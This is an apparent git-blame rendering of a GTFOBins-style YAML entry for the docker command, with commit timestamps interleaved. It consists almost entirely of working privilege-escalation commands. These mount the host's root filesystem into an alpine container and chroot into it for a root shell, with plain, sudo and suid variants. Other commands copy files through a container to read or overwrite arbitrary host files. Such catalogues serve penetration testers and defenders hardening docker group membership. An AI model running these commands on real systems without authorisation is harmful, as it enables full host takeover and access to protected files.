2018-08-17 17:16:09 +02:00
|
|
|
---
|
2018-08-19 09:40:37 +02:00
|
|
|
description: |
|
2019-07-02 14:55:40 +02:00
|
|
|
This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`.
|
2019-07-02 16:15:39 +02:00
|
|
|
|
|
|
|
Any other Docker Linux image should work, e.g., `debian`.
|
2018-08-17 17:16:09 +02:00
|
|
|
functions:
|
2019-07-02 14:55:40 +02:00
|
|
|
shell:
|
2019-07-02 16:15:39 +02:00
|
|
|
- description: The resulting is a root shell.
|
2019-07-02 14:55:40 +02:00
|
|
|
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
2019-07-02 15:53:28 +02:00
|
|
|
file-write:
|
2019-07-02 16:15:39 +02:00
|
|
|
- description: Write a file by copying it to a temporary container and back to the target destination on the host.
|
2019-07-02 15:53:28 +02:00
|
|
|
code: |
|
2019-07-02 16:15:39 +02:00
|
|
|
CONTAINER_ID="$(docker run -d alpine)" # or existing
|
2019-07-02 16:11:15 +02:00
|
|
|
TF=$(mktemp)
|
|
|
|
echo "DATA" > $TF
|
|
|
|
docker cp $TF $CONTAINER_ID:$TF
|
|
|
|
docker cp $CONTAINER_ID:$TF file_to_write
|
2019-07-02 15:53:28 +02:00
|
|
|
file-read:
|
2019-07-02 16:15:39 +02:00
|
|
|
- description: Read a file by copying it to a temporary container and back to a new location on the host.
|
2019-07-02 15:53:28 +02:00
|
|
|
code: |
|
2019-07-02 16:15:39 +02:00
|
|
|
CONTAINER_ID="$(docker run -d alpine)" # or existing
|
2019-07-02 16:11:15 +02:00
|
|
|
TF=$(mktemp)
|
|
|
|
docker cp file_to_read $CONTAINER_ID:$TF
|
|
|
|
docker cp $CONTAINER_ID:$TF $TF
|
|
|
|
cat $TF
|
2018-10-05 19:55:38 +02:00
|
|
|
sudo:
|
2019-07-02 16:15:39 +02:00
|
|
|
- description: The resulting is a root shell.
|
2019-07-02 14:55:40 +02:00
|
|
|
code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
2018-10-05 19:55:38 +02:00
|
|
|
suid:
|
2019-07-02 16:15:39 +02:00
|
|
|
- description: The resulting is a root shell.
|
2019-07-02 14:55:40 +02:00
|
|
|
code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
2018-08-17 17:16:09 +02:00
|
|
|
---
|